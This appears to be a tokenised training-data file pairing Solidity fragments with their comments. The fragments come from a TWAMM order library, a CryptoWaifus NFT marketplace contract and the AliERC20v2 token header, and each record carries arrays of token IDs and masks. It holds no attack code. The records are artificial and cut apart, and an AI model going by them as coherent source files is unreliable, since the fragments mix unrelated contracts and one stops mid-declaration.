tokenBSellAmount = self.OrderPoolMap[self.tokenB].currentSalesRate * blockNumberIncrement; //initial amm balance uint256 tokenAStart = reserveResult.newReserve0; uint256 tokenBStart = reserveResult.newReserve1; //updated balances from sales (uint256 tokenAOut, uint256 tokenBOut, uint256 ammEndTokenA, uint256 ammEndTokenB) = computeVirtualBalances(tokenAStart, tokenBStart, tokenASellAmount, tokenBSellAmount); //update balances reserves reserveResult.newReserve0 = uint112(ammEndTokenA); reserveResult.newReserve1 = uint112(ammEndTokenB); reserveResult.sold0 += tokenASellAmount; reserveResult.sold1 += tokenBSellAmount; reserveResult.receive0 += tokenAOut; reserveResult.receive1 += tokenBOut; //distribute proceeds to pools OrderPoolLib.OrderPool storage OrderPoolA = self.OrderPoolMap[self.tokenA]; OrderPoolLib.OrderPool storage OrderPoolB = self.OrderPoolMap[self.tokenB]; OrderPoolA.distributePayment(tokenBOut); OrderPoolB.distributePayment(tokenAOut); //handle orders expiring at end of interval OrderPoolA.updateStateFromBlockExpiry(blockNumber); OrderPoolB.updateStateFromBlockExpiry(blockNumber); //update last virtual trade block self.lastVirtualOrderBlock = blockNumber; } ///@notice executes all virtual orders until current block is reached. function executeVirtualOrdersUntilBlock(LongTermOrders storage self, uint256 blockNumber, ExecuteVirtualOrdersResult memory reserveResult) internal { uint256 nextExpiryBlock = self.lastVirtualOrderBlock - (self.lastVirtualOrderBlock % self.orderBlockInterval) + self.orderBlockInterval; //iterate through blocks eligible for order expiries, moving state forward while (nextExpiryBlock < blockNumber) { // Optimization for skipping blocks with no expiry // if (self.OrderPoolMap[self.tokenA].salesRateEndingPerBlock[nextExpiryBlock] > 0 // || self.OrderPoolMap[self.tokenB].salesRateEndingPerBlock[nextExpiryBlock] > 0) // { // executeVirtualTradesAndOrderExpiries(self, reserveResult, nextExpiryBlock); // } executeVirtualTradesAndOrderExpiries(self, reserveResult, nextExpiryBlock); nextExpiryBlock += self.orderBlockInterval; } //finally, move state to current block if necessary if (self.lastVirtualOrderBlock != blockNumber) { executeVirtualTradesAndOrderExpiries(self, reserveResult, block.number); } } ///@notice computes the result of virtual trades by the token pools function computeVirtualBalances( uint256 tokenAStart , uint256 tokenBStart , uint256 tokenAIn , uint256 tokenBIn) private pure returns (uint256 tokenAOut, uint256 tokenBOut, uint256 ammEndTokenA, uint256 ammEndTokenB) { //if no tokens are sold to the pool, we don't need to execute any orders if (tokenAIn == 0 && tokenBIn == 0) { tokenAOut = 0; tokenBOut = 0; ammEndTokenA = tokenAStart; ammEndTokenB = tokenBStart; } //in the case where only one pool is selling, we just perform a normal swap else if (tokenAIn == 0) { //constant product formula uint tokenBInWithFee = tokenBIn * 997; tokenAOut = tokenAStart * tokenBInWithFee / ((tokenBStart * 1000) + tokenBInWithFee); tokenBOut = 0; ammEndTokenA = tokenAStart - tokenAOut; ammEndTokenB = tokenBStart + tokenBIn; } else if (tokenBIn == 0) { tokenAOut = 0; //contant product formula uint tokenAInWithFee = tokenAIn * 997; tokenBOut = tokenBStart * tokenAInWithFee / ((tokenAStart * 1000) + tokenAInWithFee); ammEndTokenA = tokenAStart + tokenAIn; ammEndTokenB = tokenBStart - tokenBOut; } //when both pools sell, we use the TWAMM formula else { //signed, fixed point arithmetic int256 aIn = int256(tokenAIn * 997 / 1000).fromInt(); int256 bIn = int256(tokenBIn * 997 / 1000).fromInt(); int256 aStart = int256(tokenAStart).fromInt(); int256 bStart = int256(tokenBStart).fromInt(); int256 k = aStart.mul(bStart); int256 c = computeC(aStart, bStart, aIn, bIn); int256 endA = computeAmmEndTokenA(aIn, bIn, c, k, aStart, bStart); int256 endB = aStart.div(endA).mul(bStart); int256 outA = aStart + aIn - endA; int256 outB = bStart + bIn - endB; return (uint256(outA.toInt()), uint256(outB.toInt()), uint256(endA.toInt()), uint256(endB.toInt())); } } //helper function for TWAMM formula computation, helps avoid stack depth errors function computeC(int256 tokenAStart, int256 tokenBStart, int256 tokenAIn, int256 tokenBIn) private pure returns (int256 c) { int256 c1 = tokenAStart.sqrt().mul(tokenBIn.sqrt()); int256 c2 = tokenBStart.sqrt().mul(tokenAIn.sqrt()); int256 cNumerator = c1 - c2; int256 cDenominator = c1 + c2; c = cNumerator.div(cDenominator); } //helper function for TWAMM formula computation, helps avoid stack depth errors function computeAmmEndTokenA(int256 tokenAIn, int256 tokenBIn, int256 c, int256 k, int256 aStart, int256 bStart) private pure returns (int256 ammEndTokenA) { //rearranged for numerical stability int256 eNumerator = PRBMathSD59x18.fromInt(4).mul(tokenAIn).mul(tokenBIn).sqrt(); int256 eDenominator = aStart.sqrt().mul(bStart.sqrt()).inv(); int256 exponent = eNumerator.mul(eDenominator).exp(); int256 fraction = (exponent + c).div(exponent - c); int256 scaling = k.div(tokenBIn).sqrt().mul(tokenAIn.sqrt()); ammEndTokenA = fraction.mul(scaling); } }
@notice executes all virtual orders until current block is reached.iterate through blocks eligible for order expiries, moving state forward Optimization for skipping blocks with no expiry if (self.OrderPoolMap[self.tokenA].salesRateEndingPerBlock[nextExpiryBlock] > 0 || self.OrderPoolMap[self.tokenB].salesRateEndingPerBlock[nextExpiryBlock] > 0) { executeVirtualTradesAndOrderExpiries(self, reserveResult, nextExpiryBlock); }finally, move state to current block if necessary
function executeVirtualOrdersUntilBlock(LongTermOrders storage self, uint256 blockNumber, ExecuteVirtualOrdersResult memory reserveResult) internal { uint256 nextExpiryBlock = self.lastVirtualOrderBlock - (self.lastVirtualOrderBlock % self.orderBlockInterval) + self.orderBlockInterval; while (nextExpiryBlock < blockNumber) { executeVirtualTradesAndOrderExpiries(self, reserveResult, nextExpiryBlock); nextExpiryBlock += self.orderBlockInterval; } if (self.lastVirtualOrderBlock != blockNumber) { executeVirtualTradesAndOrderExpiries(self, reserveResult, block.number); } }
13,012,727
[ 1, 4177, 993, 777, 5024, 11077, 3180, 783, 1203, 353, 8675, 18, 18793, 3059, 4398, 21351, 364, 1353, 1329, 481, 606, 16, 12499, 919, 5104, 19615, 1588, 364, 14195, 4398, 598, 1158, 10839, 5411, 309, 261, 2890, 18, 2448, 2864, 863, 63, 2890, 18, 2316, 37, 8009, 87, 5408, 4727, 25674, 2173, 1768, 63, 4285, 14633, 1768, 65, 405, 374, 7734, 747, 365, 18, 2448, 2864, 863, 63, 2890, 18, 2316, 38, 8009, 87, 5408, 4727, 25674, 2173, 1768, 63, 4285, 14633, 1768, 65, 405, 374, 13, 5411, 288, 7734, 1836, 6466, 1609, 5489, 1876, 2448, 2966, 481, 606, 12, 2890, 16, 20501, 1253, 16, 1024, 14633, 1768, 1769, 5411, 289, 23417, 16, 3635, 919, 358, 783, 1203, 309, 4573, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1836, 6466, 16528, 9716, 1768, 12, 3708, 4065, 16528, 2502, 365, 16, 2254, 5034, 1203, 1854, 16, 7903, 6466, 16528, 1253, 3778, 20501, 1253, 13, 2713, 288, 203, 3639, 2254, 5034, 1024, 14633, 1768, 273, 365, 18, 2722, 6466, 2448, 1768, 300, 261, 2890, 18, 2722, 6466, 2448, 1768, 738, 365, 18, 1019, 1768, 4006, 13, 397, 365, 18, 1019, 1768, 4006, 31, 203, 3639, 1323, 261, 4285, 14633, 1768, 411, 1203, 1854, 13, 288, 203, 5411, 1836, 6466, 1609, 5489, 1876, 2448, 2966, 481, 606, 12, 2890, 16, 20501, 1253, 16, 1024, 14633, 1768, 1769, 203, 5411, 1024, 14633, 1768, 1011, 365, 18, 1019, 1768, 4006, 31, 203, 3639, 289, 203, 3639, 309, 261, 2890, 18, 2722, 6466, 2448, 1768, 480, 1203, 1854, 13, 288, 203, 5411, 1836, 6466, 1609, 5489, 1876, 2448, 2966, 481, 606, 12, 2890, 16, 20501, 1253, 16, 1203, 18, 2696, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.8; contract CryptoWaifusMarket { // You can use this hash to verify the image file containing all the waifus string public imageHash = "ac39af4793119ee46bbff351d8cb6b5f23da60222126add4268e261199a2921b"; address owner; string public standard = "CryptoWaifus"; string public name; string public symbol; uint8 public decimals; uint16 maxWaifus = 100; uint256 public totalSupply; uint256 public nextWaifuIndexToAssign = 0; bool public allWaifusAssigned = false; uint256 public waifusRemainingToAssign = 0; //mapping (address => uint) public addressToWaifuIndex; mapping(uint256 => address) public waifuIndexToAddress; /* This creates an array with all balances */ mapping(address => uint256) public balanceOf; struct Offer { bool isForSale; uint256 waifuIndex; address seller; uint256 minValue; // in ether address onlySellTo; // specify to sell only to a specific person } struct Bid { bool hasBid; uint256 waifuIndex; address bidder; uint256 value; } // A record of waifus that are offered for sale at a specific minimum value, and perhaps to a specific person mapping(uint256 => Offer) public waifusOfferedForSale; // A record of the highest waifu bid mapping(uint256 => Bid) public waifuBids; mapping(address => uint256) public pendingWithdrawals; event Assign(address indexed to, uint256 waifuIndex); event Transfer(address indexed from, address indexed to, uint256 value); event WaifuTransfer( address indexed from, address indexed to, uint256 waifuIndex ); event WaifuOffered( uint256 indexed waifuIndex, uint256 minValue, address indexed toAddress ); event WaifuBidEntered( uint256 indexed waifuIndex, uint256 value, address indexed fromAddress ); event WaifuBidWithdrawn( uint256 indexed waifuIndex, uint256 value, address indexed fromAddress ); event WaifuBought( uint256 indexed waifuIndex, uint256 value, address indexed fromAddress, address indexed toAddress ); event WaifuNoLongerForSale(uint256 indexed waifuIndex); /* Initializes contract with initial supply tokens to the creator of the contract */ function CryptoWaifusMarket() payable { // balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens owner = msg.sender; totalSupply = maxWaifus; // Update total supply waifusRemainingToAssign = totalSupply; name = "CRYPTOWAIFUS"; // Set the name for display purposes symbol = "Ͼ"; // Set the symbol for display purposes decimals = 0; // Amount of decimals for display purposes } function setInitialOwner(address to, uint256 waifuIndex) { if (msg.sender != owner) throw; if (allWaifusAssigned) throw; if (waifuIndex >= maxWaifus) throw; if (waifuIndexToAddress[waifuIndex] != to) { if (waifuIndexToAddress[waifuIndex] != 0x0) { balanceOf[waifuIndexToAddress[waifuIndex]]--; } else { waifusRemainingToAssign--; } waifuIndexToAddress[waifuIndex] = to; balanceOf[to]++; Assign(to, waifuIndex); } } function setInitialOwners(address[] addresses, uint256[] indices) { if (msg.sender != owner) throw; uint256 n = addresses.length; for (uint256 i = 0; i < n; i++) { setInitialOwner(addresses[i], indices[i]); } } function allInitialOwnersAssigned() { if (msg.sender != owner) throw; allWaifusAssigned = true; } function getWaifu(uint256 waifuIndex) { if (!allWaifusAssigned) throw; if (waifusRemainingToAssign == 0) throw; if (waifuIndexToAddress[waifuIndex] != 0x0) throw; if (waifuIndex >= maxWaifus) throw; waifuIndexToAddress[waifuIndex] = msg.sender; balanceOf[msg.sender]++; waifusRemainingToAssign--; Assign(msg.sender, waifuIndex); } // Transfer ownership of a waifu to another user without requiring payment function transferWaifu(address to, uint256 waifuIndex) { if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] != msg.sender) throw; if (waifuIndex >= maxWaifus) throw; if (waifusOfferedForSale[waifuIndex].isForSale) { waifuNoLongerForSale(waifuIndex); } waifuIndexToAddress[waifuIndex] = to; balanceOf[msg.sender]--; balanceOf[to]++; Transfer(msg.sender, to, 1); WaifuTransfer(msg.sender, to, waifuIndex); // Check for the case where there is a bid from the new owner and refund it. // Any other bid can stay in place. Bid bid = waifuBids[waifuIndex]; if (bid.bidder == to) { // Kill bid and refund value pendingWithdrawals[to] += bid.value; waifuBids[waifuIndex] = Bid(false, waifuIndex, 0x0, 0); } } function waifuNoLongerForSale(uint256 waifuIndex) { if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] != msg.sender) throw; if (waifuIndex >= maxWaifus) throw; waifusOfferedForSale[waifuIndex] = Offer( false, waifuIndex, msg.sender, 0, 0x0 ); WaifuNoLongerForSale(waifuIndex); } function offerWaifuForSale(uint256 waifuIndex, uint256 minSalePriceInWei) { if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] != msg.sender) throw; if (waifuIndex >= maxWaifus) throw; waifusOfferedForSale[waifuIndex] = Offer( true, waifuIndex, msg.sender, minSalePriceInWei, 0x0 ); WaifuOffered(waifuIndex, minSalePriceInWei, 0x0); } function offerWaifuForSaleToAddress( uint256 waifuIndex, uint256 minSalePriceInWei, address toAddress ) { if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] != msg.sender) throw; if (waifuIndex >= maxWaifus) throw; waifusOfferedForSale[waifuIndex] = Offer( true, waifuIndex, msg.sender, minSalePriceInWei, toAddress ); WaifuOffered(waifuIndex, minSalePriceInWei, toAddress); } function buyWaifu(uint256 waifuIndex) payable { if (!allWaifusAssigned) throw; Offer offer = waifusOfferedForSale[waifuIndex]; if (waifuIndex >= maxWaifus) throw; if (!offer.isForSale) throw; // waifu not actually for sale if (offer.onlySellTo != 0x0 && offer.onlySellTo != msg.sender) throw; // waifu not supposed to be sold to this user if (msg.value < offer.minValue) throw; // Didn't send enough ETH if (offer.seller != waifuIndexToAddress[waifuIndex]) throw; // Seller no longer owner of waifu address seller = offer.seller; waifuIndexToAddress[waifuIndex] = msg.sender; balanceOf[seller]--; balanceOf[msg.sender]++; Transfer(seller, msg.sender, 1); waifuNoLongerForSale(waifuIndex); pendingWithdrawals[seller] += msg.value; WaifuBought(waifuIndex, msg.value, seller, msg.sender); // Check for the case where there is a bid from the new owner and refund it. // Any other bid can stay in place. Bid bid = waifuBids[waifuIndex]; if (bid.bidder == msg.sender) { // Kill bid and refund value pendingWithdrawals[msg.sender] += bid.value; waifuBids[waifuIndex] = Bid(false, waifuIndex, 0x0, 0); } } function withdraw() { if (!allWaifusAssigned) throw; uint256 amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } function enterBidForWaifu(uint256 waifuIndex) payable { if (waifuIndex >= maxWaifus) throw; if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] == 0x0) throw; if (waifuIndexToAddress[waifuIndex] == msg.sender) throw; if (msg.value == 0) throw; Bid existing = waifuBids[waifuIndex]; if (msg.value <= existing.value) throw; if (existing.value > 0) { // Refund the failing bid pendingWithdrawals[existing.bidder] += existing.value; } waifuBids[waifuIndex] = Bid(true, waifuIndex, msg.sender, msg.value); WaifuBidEntered(waifuIndex, msg.value, msg.sender); } function acceptBidForWaifu(uint256 waifuIndex, uint256 minPrice) { if (waifuIndex >= maxWaifus) throw; if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] != msg.sender) throw; address seller = msg.sender; Bid bid = waifuBids[waifuIndex]; if (bid.value == 0) throw; if (bid.value < minPrice) throw; waifuIndexToAddress[waifuIndex] = bid.bidder; balanceOf[seller]--; balanceOf[bid.bidder]++; Transfer(seller, bid.bidder, 1); waifusOfferedForSale[waifuIndex] = Offer( false, waifuIndex, bid.bidder, 0, 0x0 ); uint256 amount = bid.value; waifuBids[waifuIndex] = Bid(false, waifuIndex, 0x0, 0); pendingWithdrawals[seller] += amount; WaifuBought(waifuIndex, bid.value, seller, bid.bidder); } function withdrawBidForWaifu(uint256 waifuIndex) { if (waifuIndex >= maxWaifus) throw; if (!allWaifusAssigned) throw; if (waifuIndexToAddress[waifuIndex] == 0x0) throw; if (waifuIndexToAddress[waifuIndex] == msg.sender) throw; Bid bid = waifuBids[waifuIndex]; if (bid.bidder != msg.sender) throw; WaifuBidWithdrawn(waifuIndex, bid.value, msg.sender); uint256 amount = bid.value; waifuBids[waifuIndex] = Bid(false, waifuIndex, 0x0, 0); // Refund the bid money msg.sender.transfer(amount); } }
Didn't send enough ETH
if (msg.value < offer.minValue) throw;
912,713
[ 1, 18250, 82, 1404, 1366, 7304, 512, 2455, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 3576, 18, 1132, 411, 10067, 18, 1154, 620, 13, 604, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/ERC1363Spec.sol"; import "../interfaces/EIP2612.sol"; import "../interfaces/EIP3009.sol"; import "../utils/AccessControl.sol"; import "../lib/AddressUtils.sol"; import "../lib/ECDSA.sol"; /** * @title Artificial Liquid Intelligence ERC20 Token (Alethea, ALI) * * @notice ALI is the native utility token of the Alethea AI Protocol. * It serves as protocol currency, participates in iNFTs lifecycle, * (locked when iNFT is created, released when iNFT is destroyed, * consumed when iNFT is upgraded). * ALI token powers up the governance protocol (Alethea DAO) * * @notice Token Summary: * - Symbol: ALI * - Name: Artificial Liquid Intelligence Token * - Decimals: 18 * - Initial/maximum total supply: 10,000,000,000 ALI * - Initial supply holder (initial holder) address: // TODO: [DEFINE] * - Not mintable: new tokens cannot be created * - Burnable: existing tokens may get destroyed, total supply may decrease * - DAO Support: supports voting delegation * * @notice Features Summary: * - Supports atomic allowance modification, resolves well-known ERC20 issue with approve (arXiv:1907.00903) * - Voting delegation and delegation on behalf via EIP-712 (like in Compound CMP token) - gives ALI token * powerful governance capabilities by allowing holders to form voting groups by electing delegates * - Unlimited approval feature (like in 0x ZRX token) - saves gas for transfers on behalf * by eliminating the need to update “unlimited” allowance value * - ERC-1363 Payable Token - ERC721-like callback execution mechanism for transfers, * transfers on behalf and approvals; allows creation of smart contracts capable of executing callbacks * in response to transfer or approval in a single transaction * - EIP-2612: permit - 712-signed approvals - improves user experience by allowing to use a token * without having an ETH to pay gas fees * - EIP-3009: Transfer With Authorization - improves user experience by allowing to use a token * without having an ETH to pay gas fees * * @dev Even though smart contract has mint() function which is used to mint initial token supply, * the function is disabled forever after smart contract deployment by revoking `TOKEN_CREATOR` * permission from the deployer account * * @dev Token balances and total supply are effectively 192 bits long, meaning that maximum * possible total supply smart contract is able to track is 2^192 (close to 10^40 tokens) * * @dev Smart contract doesn't use safe math. All arithmetic operations are overflow/underflow safe. * Additionally, Solidity 0.8.7 enforces overflow/underflow safety. * * @dev Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) - resolved * Related events and functions are marked with "arXiv:1907.00903" tag: * - event Transfer(address indexed _by, address indexed _from, address indexed _to, uint256 _value) * - event Approve(address indexed _owner, address indexed _spender, uint256 _oldValue, uint256 _value) * - function increaseAllowance(address _spender, uint256 _value) public returns (bool) * - function decreaseAllowance(address _spender, uint256 _value) public returns (bool) * See: https://arxiv.org/abs/1907.00903v1 * https://ieeexplore.ieee.org/document/8802438 * See: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @dev Reviewed * ERC-20 - according to https://eips.ethereum.org/EIPS/eip-20 * ERC-1363 - according to https://eips.ethereum.org/EIPS/eip-1363 * EIP-2612 - according to https://eips.ethereum.org/EIPS/eip-2612 * EIP-3009 - according to https://eips.ethereum.org/EIPS/eip-3009 * * @dev ERC20: contract has passed * - OpenZeppelin ERC20 tests * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/token/ERC20/ERC20.behavior.js * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/token/ERC20/ERC20.test.js * - Ref ERC1363 tests * https://github.com/vittominacori/erc1363-payable-token/blob/master/test/token/ERC1363/ERC1363.behaviour.js * - OpenZeppelin EIP2612 tests * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/token/ERC20/extensions/draft-ERC20Permit.test.js * - Coinbase EIP3009 tests * https://github.com/CoinbaseStablecoin/eip-3009/blob/master/test/EIP3009.test.ts * - Compound voting delegation tests * https://github.com/compound-finance/compound-protocol/blob/master/tests/Governance/CompTest.js * https://github.com/compound-finance/compound-protocol/blob/master/tests/Utils/EIP712.js * - OpenZeppelin voting delegation tests * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/token/ERC20/extensions/ERC20Votes.test.js * See adopted copies of all the tests in the project test folder * * @dev Compound-like voting delegation functions', public getters', and events' names * were changed for better code readability (Alethea Name <- Comp/Zeppelin name): * - votingDelegates <- delegates * - votingPowerHistory <- checkpoints * - votingPowerHistoryLength <- numCheckpoints * - totalSupplyHistory <- _totalSupplyCheckpoints (private) * - usedNonces <- nonces (note: nonces are random instead of sequential) * - DelegateChanged (unchanged) * - VotingPowerChanged <- DelegateVotesChanged * - votingPowerOf <- getCurrentVotes * - votingPowerAt <- getPriorVotes * - totalSupplyAt <- getPriorTotalSupply * - delegate (unchanged) * - delegateWithAuthorization <- delegateBySig * @dev Compound-like voting delegation improved to allow the use of random nonces like in EIP-3009, * instead of sequential; same `usedNonces` EIP-3009 mapping is used to track nonces * * @dev Reference implementations "used": * - Atomic allowance: https://github.com/OpenZeppelin/openzeppelin-contracts * - Unlimited allowance: https://github.com/0xProject/protocol * - Voting delegation: https://github.com/compound-finance/compound-protocol * https://github.com/OpenZeppelin/openzeppelin-contracts * - ERC-1363: https://github.com/vittominacori/erc1363-payable-token * - EIP-2612: https://github.com/Uniswap/uniswap-v2-core * - EIP-3009: https://github.com/centrehq/centre-tokens * https://github.com/CoinbaseStablecoin/eip-3009 * - Meta transactions: https://github.com/0xProject/protocol * * @dev Includes resolutions for ALI ERC20 Audit by Miguel Palhas, https://hackmd.io/@naps62/alierc20-audit */ contract AliERC20v2 is ERC1363, EIP2612, EIP3009, AccessControl { /** * @dev Smart contract unique identifier, a random number * * @dev Should be regenerated each time smart contact source code is changed * and changes smart contract itself is to be redeployed * * @dev Generated using https://www.random.org/bytes/ */ uint256 public constant TOKEN_UID = 0x8d4fb97da97378ef7d0ad259aec651f42bd22c200159282baa58486bb390286b; /** * @notice Name of the token: Artificial Liquid Intelligence Token * * @notice ERC20 name of the token (long name) * * @dev ERC20 `function name() public view returns (string)` * * @dev Field is declared public: getter name() is created when compiled, * it returns the name of the token. */ string public constant name = "Artificial Liquid Intelligence Token"; /** * @notice Symbol of the token: ALI * * @notice ERC20 symbol of that token (short name) * * @dev ERC20 `function symbol() public view returns (string)` * * @dev Field is declared public: getter symbol() is created when compiled, * it returns the symbol of the token */ string public constant symbol = "ALI"; /** * @notice Decimals of the token: 18 * * @dev ERC20 `function decimals() public view returns (uint8)` * * @dev Field is declared public: getter decimals() is created when compiled, * it returns the number of decimals used to get its user representation. * For example, if `decimals` equals `6`, a balance of `1,500,000` tokens should * be displayed to a user as `1,5` (`1,500,000 / 10 ** 6`). * * @dev NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including balanceOf() and transfer(). */ uint8 public constant decimals = 18; /** * @notice Total supply of the token: initially 10,000,000,000, * with the potential to decline over time as some tokens may get burnt but not minted * * @dev ERC20 `function totalSupply() public view returns (uint256)` * * @dev Field is declared public: getter totalSupply() is created when compiled, * it returns the amount of tokens in existence. */ uint256 public override totalSupply; // is set to 10 billion * 10^18 in the constructor /** * @dev A record of all the token balances * @dev This mapping keeps record of all token owners: * owner => balance */ mapping(address => uint256) private tokenBalances; /** * @notice A record of each account's voting delegate * * @dev Auxiliary data structure used to sum up an account's voting power * * @dev This mapping keeps record of all voting power delegations: * voting delegator (token owner) => voting delegate */ mapping(address => address) public votingDelegates; /** * @notice Auxiliary structure to store key-value pair, used to store: * - voting power record (key: block.timestamp, value: voting power) * - total supply record (key: block.timestamp, value: total supply) * @notice A voting power record binds voting power of a delegate to a particular * block when the voting power delegation change happened * k: block.number when delegation has changed; starting from * that block voting power value is in effect * v: cumulative voting power a delegate has obtained starting * from the block stored in blockNumber * @notice Total supply record binds total token supply to a particular * block when total supply change happened (due to mint/burn operations) */ struct KV { /* * @dev key, a block number */ uint64 k; /* * @dev value, token balance or voting power */ uint192 v; } /** * @notice A record of each account's voting power historical data * * @dev Primarily data structure to store voting power for each account. * Voting power sums up from the account's token balance and delegated * balances. * * @dev Stores current value and entire history of its changes. * The changes are stored as an array of checkpoints (key-value pairs). * Checkpoint is an auxiliary data structure containing voting * power (number of votes) and block number when the checkpoint is saved * * @dev Maps voting delegate => voting power record */ mapping(address => KV[]) public votingPowerHistory; /** * @notice A record of total token supply historical data * * @dev Primarily data structure to store total token supply. * * @dev Stores current value and entire history of its changes. * The changes are stored as an array of checkpoints (key-value pairs). * Checkpoint is an auxiliary data structure containing total * token supply and block number when the checkpoint is saved */ KV[] public totalSupplyHistory; /** * @dev A record of nonces for signing/validating signatures in EIP-2612 `permit` * * @dev Note: EIP2612 doesn't imply a possibility for nonce randomization like in EIP-3009 * * @dev Maps delegate address => delegate nonce */ mapping(address => uint256) public override nonces; /** * @dev A record of used nonces for EIP-3009 transactions * * @dev A record of used nonces for signing/validating signatures * in `delegateWithAuthorization` for every delegate * * @dev Maps authorizer address => nonce => true/false (used unused) */ mapping(address => mapping(bytes32 => bool)) private usedNonces; /** * @notice A record of all the allowances to spend tokens on behalf * @dev Maps token owner address to an address approved to spend * some tokens on behalf, maps approved address to that amount * @dev owner => spender => value */ mapping(address => mapping(address => uint256)) private transferAllowances; /** * @notice Enables ERC20 transfers of the tokens * (transfer by the token owner himself) * @dev Feature FEATURE_TRANSFERS must be enabled in order for * `transfer()` function to succeed */ uint32 public constant 